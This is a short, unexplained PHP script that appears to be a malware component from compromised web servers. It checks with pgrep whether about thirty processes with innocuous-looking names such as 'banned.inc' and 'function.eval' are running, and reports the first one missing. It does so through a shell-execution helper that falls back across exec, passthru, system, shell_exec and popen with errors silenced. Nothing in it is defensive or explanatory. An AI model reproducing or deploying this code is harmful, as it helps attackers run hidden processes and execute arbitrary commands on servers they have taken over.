<?php   $files = ['listmodules','themesetparser','default_image','view_message','cma_m_cma','sadtab_chpw','3D_preview','non_competitors','custom_functions','partners_map','themeform','listbookmarks','db_input','configitem','default_raw','show_courses','u2uLib.class','ads_request','banned.inc','k2parameter','config_seo','refresher.tpl','common.class','tipo_menu_upload','function.eval','beginedit3','addvoucher','qtype_calculated','cust_accept_add','keywords.class']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }